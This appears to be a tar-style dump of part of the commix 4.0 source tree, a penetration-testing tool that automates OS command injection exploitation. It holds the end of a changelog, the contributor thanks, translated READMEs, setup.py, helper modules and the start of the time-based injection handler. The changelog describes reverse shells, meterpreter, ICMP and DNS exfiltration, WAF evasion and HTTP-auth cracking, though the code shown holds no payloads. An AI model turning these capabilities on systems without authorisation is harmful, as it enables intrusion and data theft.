* Revised: Time-relative statistical analysis for recognition of unexpected time delays due to unstable requests.
* Added: A list of pages / scripts potentially vulnerable to shellshock.
* Added: The ability to check if the url is probable to contain script(s) vulnerable to shellshock.
* Revised: Multiple eye-candy revisions have been performed.
* Fixed: HTTPS requests fixation, if the `--proxy` option is enabled.
* Fixed: Multiple fixes regarding the shellshock module have been performed.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.9b-20160607...v1.0-20160614)._
## Version 0.9b (2016-06-07)
* Added: The ability to re-perform the injection request if it has failed.
* Fixed: The shell output in semiblind technique (i.e. "file-based") has been fixed not to concat new lines.
* Revised: The ability to execute multiple tamper scripts combined or the one after the other.
* Added: New tamper script "space2plus.py" that replaces every space (`%20`) with plus (`+`).
* Added: New state ("checking") and the color of that state has been setted.
* Replaced: The `--base64` option has been replaced with "base64encode.py" tamper script.
* Added: New tamper script "space2ifs.py" that replaces every space (`%20`) with `$IFS` (bash) variable.
* Added: New option `--tamper` that supports tamper injection scripts.
* Added: Support for verbosity levels (currently supported levels: 0,1).
* Fixed: Minor rearrangement of prefixes and separators has been implemented.
* Revised: The "time-based" (blind) technique for \*nix targets has been shortly revised.
* Revised: The source code has been revised to support `print_state_msg` (i.e. error, warning, success etc) functions.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.8b-20160506...v0.9b-20160607)._
## Version 0.8b (2016-05-06)
* Fixed: The `--file-read` option to ignore the carriage return (`\r`) character in a text file.
* Added: The ability to check for empty value(s) in the defined GET, POST, Cookie data and skip.
* Replaced: The `INJECT_HERE` tag has been replaced with the custom injection marker (i.e. asterisk `*`).
* Added: New option `--level` (1-3) that specifies level of tests to perform.
* Added: New option `-p` that specifies a comma-separated list of GET and POST parameter.
* Added: The ability to check every parameter in the provided cookie data.
* Added: The ability to check every GET parameter in the defined URL and/or every POST provided data.
* Added: New option `--all` that enables all supported enumeration options.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.7b-20160418...v0.8b-20160506)._
## Version 0.7b (2016-04-18)
* Fixed: HTTP proxy logs parser to accept GET HTTP requests.
* Fixed: HTTP proxy logs parser to recognise provided HTTP authentication credentials.
* Added: Support for verbose mode in HTTP authentication (i.e. `Basic`, `Digest`) dictionary-based cracker.
* Added: The ability to store valid (Digest) credentials into session files for current target.
* Added: Dictionary-based cracker for `Digest` HTTP authentication credentials.
* Added: Support for `Digest` HTTP authentication type.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.6b-20160401...v0.7b-20160418)._
## Version 0.6b (2016-04-01)
* Added: The ability to store valid (`Basic`) credentials into session files for current target.
* Added: New option `--ignore-401` that ignores HTTP Error 401 (Unauthorized) and continues tests without providing valid credentials.
* Added: Dictionary-based cracker for `Basic` HTTP authentication credentials.
* Added: Identifier for HTTP authentication type (currently only `Basic` type is supported).
* Added: New option `--skip-waf` that skips heuristic detection of WAF/IPS/IDS protection.
* Added: Support for verbose mode in the "DNS exfiltration" injection technique (module).
* Added: New option `--dns-server` that supports the "DNS exfiltration" injection technique (module).
* Added: New option `--dependencies` that checks (non-core) third party dependenices.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.5b-20160316...v0.6b-20160401)._
## Version 0.5b (2016-03-16)
* Fixed: The payload(s) for dynamic code evaluation (i.e. "eval-based"), if there is not any separator.
* Added: Support for verbose mode in the "ICMP exfiltration" injection technique (module).
* Added: Check if the user-defined os name, is different than the one identified by heuristics.
* Added: New option `--os` that forces a user-defined os name.
* Added: Support for testing custom HTTP headers (via `--headers` parameter).
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.4.1b-20160226...v0.5b-20160316)._
## Version 0.4.1b (2016-02-26)
* Added: Support for storing and retrieving executed commands from session file.
* Added: New option `-s` for loading session from session file.
* Added: New option `--ignore-session` for ignoring results stored in session file.
* Added: New option `--flush-session` for flushing session files for current target.
* Added: Support to resume to the latest injection points from session file.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.4b-20160204...v0.4.1b-20160226)._
## Version 0.4b (2016-02-04)
* Added: Payload mutation if WAF/IPS/IDS protection is detected.
* Added: Check for existence of WAF/IPS/IDS protection (via error pages).
* Added: The "set" option in "reverse_tcp" which sets a context-specific variable to a value.
* Added: New option `--force-ssl` for forcing usage of SSL/HTTPS requests.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.3b-20160115...v0.4b-20160204)._
## Version 0.3b (2016-01-15)
* Added: Time-relative false-positive identification, which identifies unexpected time delays due to unstable requests.
* Added: New option `-l`, that parses target and data from HTTP proxy log file (i.e. Burp or WebScarab).
* Added: Check if Powershell is enabled in target host, if the applied option's payload is requiring the use of PowerShell.
* Added: New option `--ps-version`, that checks PowerShell's version number.
* Replaced: Some powershell-based payloads, have been replaced by new (more solid) ones, so to avoid "Microsoft-IIS" server's incompatibilities.
* Added: Support (in MacOSX platforms) for a tab completion in shell options.
* Added: Undocumented parameter `-InputFormat none` so to avoid "Microsoft-IIS" server's hang.
* Added: Ability for identification of "Microsoft-IIS" servers.
* Added: Statistical checks for time-related techniques (i.e. "time-based", "tempfile-based").
* Added: Support for Windows-based (cmd / powershell) payloads for every injection technique.
## Version 0.2b (2015-12-18)
* Added: Support for recalling previous commands.
* Added: Support (in Linux platforms) for tab completion in shell options.
* Added: Support for alternative (Python) os-shell in dynamic code evaluation technique (i.e. "eval-based").
* Added: Support for PHP/Python meterpreter on "reverse_tcp" shell option.
* Added: The "reverse_tcp" shell option.
* Added: The ability to check for default root directories (Apache/Nginx).
* Added: Support for removal of (txt) shell files in semiblind techniques (i.e. "file-based", "tempfile-based").
* Added: Support for JSON POST data.
* Added: The "enumeration" and "file-read" results to log file.
* Added: The ability to get the user's approval before re-{enumerate/file-read} target.
* Added: The ability to stop current injection technique and proceed on the next one(s).
## Version 0.1b (2015-09-20)
* Added: New eval-based payload for `str_replace()` filter bypass.
* Added: Check for (GET) RESTful URL format.
* Added: New option `--base64`, that encodes the OS command to `Base64` format.
* Added: Support for regular `preg_replace()` injections via `/e` modifier.
* Added: Support for HTML Charset and HTTP "Server" response-header reconnaissance (on verbose mode).
* Replaced: Payloads for semiblind (i.e. "tempfile-based") technique, have been replaced by new (more solid) ones.
* Added: A "new-line" separator support, for blind (i.e. "time-based") and semiblind (i.e. "tempfile-based") techniques.
* Added: Support for Referer HTTP header command injections.
* Added: Support for User-Agent HTTP header command injections.
* Added: [CVE-2014-6278](https://nvd.nist.gov/vuln/detail/CVE-2014-6278) support for "shellshock" module.
* Added: Support for cookie-based command injections.
* Added: A generic false-positive prevention technique.
* Removed: The `Base64` detection option.
* Added: Support for the Tor network.
* Added: The "shellshock" [CVE-2014-6271](https://nvd.nist.gov/vuln/detail/cve-2014-6271) injection technique (module).
* Added: Termcolor support for Windows (colorama).
* Added: File access options.
* Added: Enumeration options.
* Added: New option `--alter-shell` that supports an alternative option for os-shell (e.g. Python).
* Added: New option `--icmp-exfil` that supports the "ICMP exfiltration" injection technique (module).
* Added: The semiblind (i.e. "tempfile-based") technique.
* Added: The semiblind (i.e. "file-based") technique.
* Removed: The blind (i.e. “boolean-based”) technique.
* Added: More Options.
## Version 0.1a (2014-12-20)
* The initial release {aka the Birth!}.
commix-4.0/doc/THANKS.md 0000775 0000000 0000000 00000017435 14731205621 0014746 0 ustar 00root root 0000000 0000000 ## Corporate sponsorship:
* Thanks [Obrela Security Industries](https://www.obrela.com/) for sponsorship.
## List of individual donors:
* Thanks John Brinton for a donation.
* Thanks [Himself132](https://github.com/Himself132) for a donation.
* Thanks [m3g9tr0n](https://x.com/m3g9tr0n) for a donation.
## List of individual contributors:
* Thanks [anonymousdouble](https://github.com/anonymousdouble) for contributing code.
* Thanks [n00b-bot](https://github.com/n00b-bot) for suggesting a feature.
* Thanks [xerxoria](https://github.com/xerxoria) for reporting a bug and for suggesting a relevant fix.
* Thanks [Kazgangap](https://github.com/Kazgangap) for contributing a Turkish translation of README.md.
* Thanks [0xFred](https://github.com/0xFred) for contributing code.
* Thanks [verfosec](https://github.com/verfosec) for contributing a Farsi(Persian) translation of README.md.
* Thanks [daniruiz](https://github.com/daniruiz) for contributing code.
* Thanks [galihap76](https://github.com/galihap76) for contributing an Indonesian translation of README.md.
* Thanks [JitPatro](https://github.com/JitPatro) for creating a snap package for commix (i.e. `snap install commix`).
* Thanks [0x27](https://github.com/0x27) for suggesting an enhancement.
* Thanks [609496288](https://github.com/609496288) for reporting a bug.
* Thanks [6kemb0bani](https://github.com/6kemb0bani) for reporting a bug.
* Thanks [Abdallah-Fouad-X](https://github.com/Abdallah-Fouad-X) for reporting a bug.
* Thanks [abdoxfox](https://github.com/abdoxfox) for reporting a bug.
* Thanks [ajinabraham](https://github.com/ajinabraham) for reporting a few bugs and for suggesting some features
* Thanks [Alan Placidina](https://github.com/Placidina) for contributing code.
* Thanks [alpha1e0](https://github.com/alpha1e0) for reporting a bug and for contributing code.
* Thanks [András Veres-Szentkirályi](https://github.com/dnet) for contributing code.
* Thanks [Anton Bolshakov](https://github.com/blshkv) for contributing code and for suggesting an enhancement.
* Thanks [apprentice](https://github.com/apprentice) for contributing code.
* Thanks [arbazkiraak](https://github.com/arbazkiraak) for suggesting a feature.
* Thanks [ayzikhn18](https://github.com/ayzikhn18) for reporting a bug.
* Thanks [B4RD4k](https://github.com/B4RD4k) for reporting a few bugs.
* Thanks [blshkv](https://github.com/blshkv) for reporting a bug and for suggesting a feature.
* Thanks [botdigit-admin](https://github.com/botdigit-admin) for reporting a bug.
* Thanks [CaptanLuffy](https://github.com/CaptanLuffy) for reporting a bug.
* Thanks [Cat0x00](https://github.com/Cat0x00) for reporting a bug.
* Thanks [ChenYun4164](https://github.com/ChenYun4164) for reporting a few bugs.
* Thanks [CINOAdam](https://github.com/CINOAdam) for reporting a bug.
* Thanks [Cxarli](https://github.com/Cxarli) for reporting a bug.
* Thanks [dabing1205](https://github.com/dabing1205) for reporting a bug.
* Thanks [dblock](https://github.com/dblock) for reporting a bug.
* Thanks [dloco01](https://github.com/dloco01) for reporting a bug.
* Thanks [doufu13](https://github.com/doufu13) for reporting a bug.
* Thanks [Doug-Wyman](https://github.com/Doug-Wyman) for reporting a bug.
* Thanks [ethicalhack3r](https://github.com/ethicalhack3r) for reporting a bug.
* Thanks [fuero](https://github.com/fuero) for contributing code.
* Thanks [g0tmi1k](https://github.com/g0tmi1k) for contributing code.
* Thanks [gcattani](https://github.com/gcattani) for reporting a bug.
* Thanks [ghost](https://github.com/ghost) for suggesting a feature.
* Thanks [h0nus](https://github.com/h0nus) for reporting a bug.
* Thanks [hack0mate](https://github.com/hack0mate) for reporting a bug.
* Thanks [hadiirani](https://github.com/hadiirani) for reporting a bug.
* Thanks [Hax0rG1rl](https://github.com/Hax0rG1rl) for suggesting an enhancement.
* Thanks [hcstorm](https://github.com/hcstorm) for reporting mutliple bugs.
* Thanks [Himself132](https://github.com/Himself132) for reporting a few bugs and for suggesting an enhancement.
* Thanks [init5-msft](https://github.com/init5-msft) for reporting a bug.
* Thanks [lacroutelacroute](https://github.com/lacroutelacroute) for reporting a few bugs.
* Thanks [Jean Helie](https://github.com/jhelie) for contributing code.
* Thanks [juushya](https://github.com/juushya) for reporting a bug.
* Thanks [kaczalapa](https://github.com/kaczalapa) for reporting a few bugs.
* Thanks [Kali95739](https://github.com/Kali95739) for reporting a bug.
* Thanks [liboLee](https://github.com/liboLee) for reporting a bug.
* Thanks [MidnightSeer](https://github.com/MidnightSeer) for reporting a bug.
* Thanks [mohammed-sec2010](https://github.com/mohammed-sec2010) for suggesting a feature.
* Thanks [MR-pentestGuy](https://github.com/MR-pentestGuy) for reporting a bug.
* Thanks [Narvalo999](https://github.com/Narvalo999) for reporting a few bugs.
* Thanks [Ny223](https://github.com/Ny223) for reporting a bug.
* Thanks [NullArray](https://github.com/NullArray) for reporting a bug.
* Thanks [onuryilmazinfo](https://github.com/onuryilmazinfo) for reporting a bug.
* Thanks [Parshuram2](https://github.com/Parshuram2) for reporting a bug.
* Thanks [plonibarploni](https://github.com/plonibarploni) for reporting a bug.
* Thanks [pomil-1969](https://github.com/pomil-1969) for reporting a bug.
* Thanks [powercrypt](https://github.com/powercrypt) for reporting a few bugs.
* Thanks [prince74igor](https://github.com/prince74igor) for suggesting an enhancement.
* Thanks [royharoush](https://github.com/royharoush) for suggesting an enhancement.
* Thanks [royshum93](https://github.com/royshum93) for reporting a bug.
* Thanks [SaifSalah](https://github.com/SaifSalah) for reporting a bug.
* Thanks [saltasatelites](https://github.com/saltasatelites) for reporting a bug.
* Thanks [scblakely](https://github.com/scblakely) for reporting a bug.
* Thanks [shaojava](https://github.com/shaojava) for reporting a bug.
* Thanks [shelld3v](https://github.com/shelld3v) for contributing code.
* Thanks [Simon](https://github.com/simonuvarov) for contributing code.
* Thanks [simonuvarov](https://github.com/simonuvarov) for reporting a bug.
* Thanks [Slavery](https://github.com/Slavery) for reporting a bug.
* Thanks [sno0ose](https://github.com/sno0ose) for reporting a bug.
* Thanks [somarrr](https://github.com/somarrr) for reporting a bug.
* Thanks [Suselz](https://github.com/Suselz) for reporting a few bugs and for suggesting enhancements.
* Thanks [td4b](https://github.com/td4b) for contributing code.
* Thanks [techn0tr0ll](https://github.com/techn0tr0ll) for reporting a bug.
* Thanks [Tensha](https://github.com/Tensha) for reporting a bug.
* Thanks [temp3l](https://github.com/temp3l) for reporting a bug.
* Thanks [thenight7](https://github.com/thenight7) for suggesting an enhancement.
* Thanks [Tim Gates](https://github.com/timgates42) for contributing code.
* Thanks [vincentubuntu](https://github.com/vincentubuntu) for reporting a bug.
* Thanks [vinod272](https://github.com/vinod272) for reporting a bug.
* Thanks [vmotos](https://github.com/vmotos) for reporting a bug.
* Thanks [vojtapolasek](https://github.com/vojtapolasek) for reporting a few bugs.
* Thanks [VolkNwn](https://github.com/VolkNwn) for reporting a bug.
* Thanks [w9w](https://github.com/w9w) for reporting a bug.
* Thanks [WangSongsen](https://github.com/WangSongsen) for reporting a bug.
* Thanks [webideveli](https://github.com/webideveli) for reporting a bug.
* Thanks [xsuperbug.](https://github.com/xsuperbug.) for suggesting a few features
* Thanks [XVilka](https://github.com/XVilka) for suggesting an enhancement.
* Thanks [yournainaidi](https://github.com/yournainaidi) for reporting a few bugs.
* Thanks [zaaazaa](https://github.com/zaaazaa) for reporting a bug.
* Thanks [zar3bski](https://github.com/zar3bski) for reporting a bug.
* Thanks [Zarcolio](https://github.com/Zarcolio) for reporting a bug.
commix-4.0/doc/translations/ 0000775 0000000 0000000 00000000000 14731205621 0016140 5 ustar 00root root 0000000 0000000 commix-4.0/doc/translations/README-fa-FA.md 0000664 0000000 0000000 00000007155 14731205621 0020277 0 ustar 00root root 0000000 0000000
**کامیکس** (مخفف [**کام**]ند ا[**ی**]نجکشن ا[**کس**]پلویتر) یک ابزار متنباز تستنفوذ است که توسط **[آناستاسیوس استاسینوپولوس](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**) نوشته شده است که فرایند کشف و بهرهبرداری از آسیپ پذیری های **[کامند اینجکشن](https://www.owasp.org/index.php/Command_Injection)** را خودکار میکند.
میتوانید از [مجموعه اسکرین شاتها](https://github.com/commixproject/commix/wiki/Screenshots) که نشاندهنده بعضی از ویژگیها است در صفحه ویکی دیدن کنید.
## نصب و راهاندازی
در هر پلتفرمی میتوانید با کلون کردن مخزن رسمی گیت کامیکس را دانلود کنید :
$ git clone https://github.com/commixproject/commix.git commix
از سوی دیگر, میتوانید جدیدترین [tarball](https://github.com/commixproject/commix/tarball/master) یا [zipball](https://github.com/commixproject/commix/zipball/master) را دانلود کیند.
*__توجه:__ **[پایتون](http://www.python.org/download/)** (نسخه **2.6**, **2.7** یا **3** به بعد) برای اجرای کامیکس مورد نیاز است.*
## استفاده
برای دریافت لیستی از همه گزینهها و سوئیچها از این دستور استفاده کنید:
$ python commix.py -h
برای دریافت نمای کلی از گزینههای موجود, سوئیچها و/یا ایدههای اساسی در مورد نحوه استفاده از کامیکس, بررسی **[استفاده](https://github.com/commixproject/commix/wiki/Usage)**, **[مثالهای استفاده](https://github.com/commixproject/commix/wiki/Usage-Examples)** و **[دور زدن فیلترها](https://github.com/commixproject/commix/wiki/Filters-Bypasses)**, بخش [ویکی](https://github.com/commixproject/commix/wiki) را بررسی کنید.
## پیوندها
* راهنمای کاربر: https://github.com/commixproject/commix/wiki
* ردیاب مسائل: https://github.com/commixproject/commix/issues
## ترجمهها
* [یونانی](https://github.com/commixproject/commix/blob/master/doc/translations/README-gr-GR.md)
* [اندونزیایی](https://github.com/commixproject/commix/blob/master/doc/translations/README-idn-IDN.md)
* [فارسی](https://github.com/commixproject/commix/blob/master/doc/translations/README-fa-FA.md) commix-4.0/doc/translations/README-gr-GR.md 0000664 0000000 0000000 00000006137 14731205621 0020342 0 ustar 00root root 0000000 0000000
To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**]ploiter) είναι πρόγραμμα ανοιχτού κώδικα, γραμμένο από τον **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου **[command injection](https://www.owasp.org/index.php/Command_Injection)**.
## Εικόνα
## Εγκατάσταση
Μπορείτε να κατεβάσετε το commix σε κάθε πλατφόρμα κάνοντας κλώνο το επίσημο Git αποθετήριο:
$ git clone https://github.com/commixproject/commix.git commix
Εναλλακτικά, μπορείτε να κατεβάσετε την τελευταία [tarball](https://github.com/commixproject/commix/tarball/master) ή [zipball](https://github.com/commixproject/commix/zipball/master).
*__Σημείωση:__ H **[Python](http://www.python.org/download/)** (έκδοση **2.6**, **2.7** ή **3.x**) απαιτείται για την εκτέλεση του commix.*
## Χρήση
Για να λάβετε μια λίστα με όλες τις επιλογές και τους διακόπτες πατήστε:
$ python commix.py -h
Για να δείτε μια επισκόπηση των διαθέσιμων επιλογών, των διακοπτών ή / και βασικών ιδεών σχετικά με τον τρόπο χρήσης του commix, συμβουλευτείτε τις **[χρήση](https://github.com/commixproject/commix/wiki/Usage)**, **[παραδείγματα χρήσης](https://github.com/commixproject/commix/wiki/Usage-Examples)** και **[παράκαμψη φίλτρων](https://github.com/commixproject/commix/wiki/Filters-Bypasses)** wiki σελίδες.
## Σύνδεσμοι
* Εγχειρίδιο χρήστη: https://github.com/commixproject/commix/wiki
* Παρακολούθηση προβλημάτων: https://github.com/commixproject/commix/issues
commix-4.0/doc/translations/README-idn-IDN.md 0000664 0000000 0000000 00000005200 14731205621 0020574 0 ustar 00root root 0000000 0000000
**Commix** (kependekan dari [**comm**]and [**i**]njection e[**x**]ploiter) adalah alat pengujian penetrasi open source, yang ditulis oleh **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), yang mengotomatiskan deteksi dan eksploitasi kerentanan **[command injection](https://www.owasp.org/index.php/Command_Injection)**.
Anda dapat mengunjungi [koleksi dari tangkapan layar](https://github.com/commixproject/commix/wiki/Screenshots) yang menunjukkan beberapa fitur di wiki.
## Instalasi
Anda dapat mengunduh commix di platform apa pun dengan mengkloning repositori resmi Git:
$ git clone https://github.com/commixproject/commix.git commix
Atau, Anda dapat mengunduh [tarball](https://github.com/commixproject/commix/tarball/master) atau [zipball](https://github.com/commixproject/commix/zipball/master) terbaru.
*__Catatan:__ **[Python](http://www.python.org/download/)** (versi **2.6**, **2.7** atau **3.x**) diperlukan untuk menjalankan commix.*
## Penggunaan
Untuk mendapatkan daftar semua opsi dan beralih gunakan:
$ python commix.py -h
Untuk mendapatkan gambaran umum tentang opsi commix yang tersedia, beralih dan / atau ide dasar tentang cara menggunakan commix, periksa **[penggunaan](https://github.com/commixproject/commix/wiki/Usage)**, **[contoh penggunaan](https://github.com/commixproject/commix/wiki/Usage-Examples)** dan **[bypass filter](https://github.com/commixproject/commix/wiki/Filters-Bypasses)** halaman wiki.
## Link
* Panduan : https://github.com/commixproject/commix/wiki
* Pelacak masalah : https://github.com/commixproject/commix/issues
commix-4.0/doc/translations/README-tr-TR.md 0000664 0000000 0000000 00000005417 14731205621 0020374 0 ustar 00root root 0000000 0000000
**Commix** ([comm]and [i]njection e[x]ploiter'ın kısaltması), **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**) tarafından yazılan ve **[Komut enjeksiyonu](https://www.owasp.org/index.php/Command_Injection)** güvenlik açıklarının tespitini ve istismarını otomatikleştiren açık kaynaklı bir sızma testi aracıdır.
Wiki'deki bazı özellikleri gösteren [ekran görüntüleri koleksiyonunu](https://github.com/commixproject/commix/wiki/Screenshots) ziyaret edebilirsiniz.
## Kurulum
Resmi Git deposunu klonlayarak commix'i herhangi bir platformda indirebilirsiniz :
$ git clone https://github.com/commixproject/commix.git commix
Alternatif olarak, en son [tarball](https://github.com/commixproject/commix/tarball/master) veya [zipball](https://github.com/commixproject/commix/zipball/master) olarak indirebilirsiniz.
*__Not:__ **[Python](http://www.python.org/download/)** (sürüm **2.6**, **2.7** veya **3.x**) commix'i çalıştırmak için gereklidir.*
## Kullanım
Seçeneklerinizi görmek ve yardım almak için aşağıdaki komutu girin:
$ python commix.py -h
Mevcut commix seçenekleri veya commix'in nasıl kullanılacağına dair temel fikirler hakkında bilgi edinmek amacıyla **[kullanım kılavuzu](https://github.com/commixproject/commix/wiki/Usage)**, **[kullanım örnekleri](https://github.com/commixproject/commix/wiki/Usage-Examples)** ve **[filtre bypassları](https://github.com/commixproject/commix/wiki/Filters-Bypasses)** wiki sayfalarını ziyaret edebilirsiniz.
## Linkler
* Kullanım kılavuzu: https://github.com/commixproject/commix/wiki
* Sorun takibi: https://github.com/commixproject/commix/issues
commix-4.0/setup.py 0000664 0000000 0000000 00000003266 14731205621 0014373 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from setuptools import setup, find_packages
setup(
name='commix',
version='4.0-stable',
description='Automated All-in-One OS Command Injection Exploitation Tool',
long_description=open('README.md').read(),
long_description_content_type='text/markdown',
author='Anastasios Stasinopoulos',
url='https://commixproject.com',
project_urls={
'Documentation': 'https://github.com/commixproject/commix/wiki',
'Source': 'https://github.com/commixproject/commix',
'Tracker': 'https://github.com/commixproject/commix/issues',
},
license='GNU General Public License v3 (GPLv3)',
packages=find_packages(),
include_package_data=True,
zip_safe=False,
classifiers=[
'Development Status :: 5 - Production/Stable',
'License :: OSI Approved :: GNU General Public License v3 (GPLv3)',
'Natural Language :: English',
'Operating System :: OS Independent',
'Programming Language :: Python',
'Environment :: Console',
'Topic :: Security',
],
entry_points={
'console_scripts': [
'commix = src.core.main:entry_point'
]
},
)
# eof commix-4.0/src/ 0000775 0000000 0000000 00000000000 14731205621 0013441 5 ustar 00root root 0000000 0000000 commix-4.0/src/__init__.py 0000664 0000000 0000000 00000000743 14731205621 0015556 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-4.0/src/core/ 0000775 0000000 0000000 00000000000 14731205621 0014371 5 ustar 00root root 0000000 0000000 commix-4.0/src/core/__init__.py 0000664 0000000 0000000 00000000743 14731205621 0016506 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-4.0/src/core/compat.py 0000664 0000000 0000000 00000001066 14731205621 0016231 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import sys
if sys.version_info >= (3, 0):
xrange = range
else:
xrange = xrange commix-4.0/src/core/convert.py 0000664 0000000 0000000 00000002423 14731205621 0016424 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import codecs
import binascii
from src.utils import settings
from src.thirdparty import six
"""
Decode string for hex
"""
def hexdecode(value):
if value.lower().startswith("0x"):
value = value[2:]
try:
value = codecs.decode(''.join(value.split()), "hex")
except binascii.Error:
_ = False
return value, _
except LookupError:
value = binascii.unhexlify(value)
try:
value = value.decode(settings.DEFAULT_CODEC)
_ = True
except:
_ = False
return value, _
"""
Encode string to hex
"""
def hexencode(value):
if isinstance(value, six.text_type):
value = value.encode(settings.DEFAULT_CODEC)
try:
value = codecs.encode(value, "hex")
except LookupError:
value = binascii.hexlify(value)
value = value.decode(settings.DEFAULT_CODEC)
_ = True
return value, _
commix-4.0/src/core/injections/ 0000775 0000000 0000000 00000000000 14731205621 0016536 5 ustar 00root root 0000000 0000000 commix-4.0/src/core/injections/__init__.py 0000664 0000000 0000000 00000000743 14731205621 0020653 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-4.0/src/core/injections/blind/ 0000775 0000000 0000000 00000000000 14731205621 0017626 5 ustar 00root root 0000000 0000000 commix-4.0/src/core/injections/blind/__init__.py 0000664 0000000 0000000 00000000743 14731205621 0021743 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-4.0/src/core/injections/blind/techniques/ 0000775 0000000 0000000 00000000000 14731205621 0021776 5 ustar 00root root 0000000 0000000 commix-4.0/src/core/injections/blind/techniques/__init__.py 0000664 0000000 0000000 00000000743 14731205621 0024113 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-4.0/src/core/injections/blind/techniques/time_based/ 0000775 0000000 0000000 00000000000 14731205621 0024072 5 ustar 00root root 0000000 0000000 commix-4.0/src/core/injections/blind/techniques/time_based/__init__.py 0000664 0000000 0000000 00000000743 14731205621 0026207 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-4.0/src/core/injections/blind/techniques/time_based/tb_handler.py 0000775 0000000 0000000 00000005445 14731205621 0026561 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.utils import common
from src.utils import settings
from src.core.injections.controller import checks
from src.core.injections.controller import handler
"""
The "time-based" injection technique on Blind OS Command Injection.
"""
"""
The "time-based" injection technique handler.
"""
def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path):
return handler.do_time_relative_proccess(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path)
"""
The exploitation function.
(call the injection handler)
"""
def exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique):
# Check if attack is based on time delays.
if not settings.TIME_RELATIVE_ATTACK :
checks.time_relative_attaks_msg()
settings.TIME_RELATIVE_ATTACK = True
if url_time_response >= settings.SLOW_TARGET_RESPONSE:
warn_msg = "It is highly recommended, due to serious response delays, "
warn_msg += "to skip the time-based (blind) technique and to continue "
warn_msg += "with the file-based (semiblind) technique."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
go_back = False
while True:
if go_back == True:
return False
